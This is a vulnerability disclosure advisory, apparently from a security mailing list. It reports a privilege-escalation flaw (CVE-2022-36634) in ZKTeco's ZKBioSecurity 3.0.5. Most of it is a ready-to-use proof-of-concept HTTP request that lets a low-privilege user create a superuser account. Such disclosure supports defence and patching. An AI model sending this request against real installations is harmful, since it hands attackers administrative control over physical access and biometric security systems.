ZKBioSecurity 3.0.5- Privilege Escalation to Admin (CVE-2022-36634)

From: Caio B <caioburgardt () gmail com>
Date: Thu, 29 Sep 2022 11:20:39 -0300

```
########################ADVISORY INFORMATION########################

Product: ZKSecurity BIO

Vendor: ZKTeco

Version Affected: 3.0.5.0_R

CVE: CVE-2022-36634

Vulnerability: User privilege escalation

########################CREDIT########################

This vulnerability was discovered and researched by Caio Burgardt and
Silton Santos.

########################INTRODUCTION########################

Based on the hybrid biometric technology and computer vision technology,
ZKBioSecurity provides a comprehensive web-based security platform. It
contains multiple integrated modules: personnel, time & attendance, access
control, visitor management, offline & online consumption management, guard
patrol, parking, elevator control, entrance control, Facekiosk, intelligent
video management, mask and temperature detection module, and other smart
sub-systems.

########################VULNERABILITY DETAILS########################

The application's access control management does not check the session's
permissions correctly. An attacker with "Person Self-Login" or "User"
privilege can create a super user with full privileges in the application

########################PROOF OF CONCEPT########################

POST /authUserAction!edit.action HTTP/1.1

Host: {HOST}
```

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=--------------------------291763244192371568695079347

Content-Length: 1956

Origin: http://{HOST}:8088

Connection: close

Referer: http://{HOST}:8088/base_index.action

Cookie: <INSERT_LOW-PRIVILEGE_COOKIE_HERE>

Upgrade-Insecure-Requests: 1




----------------------------291763244192371568695079347

Content-Disposition: form-data; name="authUser.username"



test_privesc

----------------------------291763244192371568695079347

Content-Disposition: form-data; name="authUser.loginPwd"



KDla123

----------------------------291763244192371568695079347

Content-Disposition: form-data; name="repassword"



KDla123

----------------------------291763244192371568695079347

Content-Disposition: form-data; name="authUser.isActive"
```

```
true
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.isSuperuser"


true
-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="groupIds"


-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="deptIds"


-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="areaIds"


-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.email"


-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.name"


-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="authUser.lastName"


-----------------------------291763244192371568695079347
Content-Disposition: form-data; name="fingerTemplate"
```

```
----------------------------29176324419237156869507934 7

Content-Disposition: form-data; name="fingerId"



----------------------------29176324419237156869507934 7

Content-Disposition: form-data; name="logMethod"



add

----------------------------29176324419237156869507934 7

Content-Disposition: form-data; name="un"



1657813612925_286

----------------------------29176324419237156869507934 7

Content-Disposition: form-data; name="systemCode"



base

----------------------------29176324419237156869507934 7--



######################END######################
```

By Date By Thread

Current thread:

ZKBioSecurity 3.0.5- Privilege Escalation to Admin (CVE-2022-36634) ***Caio B (Sep 30)***

Nmap Security Scanner

Ref Guide

Install Guide

Docs

Download

Nmap OEM

Npcap packet capture

User's Guide

API docs

Download

Npcap OEM

Security Lists

Nmap Announce

Nmap Dev

Full Disclosure

Open Source Security

BreachExchange

Security Tools

Vuln scanners

Password audit

Web scanners

Wireless

Exploitation

About

About/Contact

Privacy

Advertising

Nmap Public Source License